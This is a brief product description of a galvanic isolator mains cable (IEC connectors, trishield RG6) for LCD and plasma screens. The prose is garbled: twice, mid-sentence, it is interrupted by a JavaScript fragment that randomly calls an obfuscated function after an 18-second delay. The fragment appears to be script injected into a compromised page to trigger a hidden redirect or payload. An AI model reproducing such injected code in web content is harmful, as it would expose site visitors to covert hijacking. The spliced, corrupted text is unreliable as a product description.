cables are used as ground potential separators, preventing grounding caused problems from occuring on LCD andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and plasma screens, when connected directly to system outlet. The cable is either 2 or 3 m long, has a crimped IEC male andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and IEC female connector. The in-line galvanic isolator is positioned 0.5 m from IEC female connector. Cable is trishield RG6, with copper inner conductor.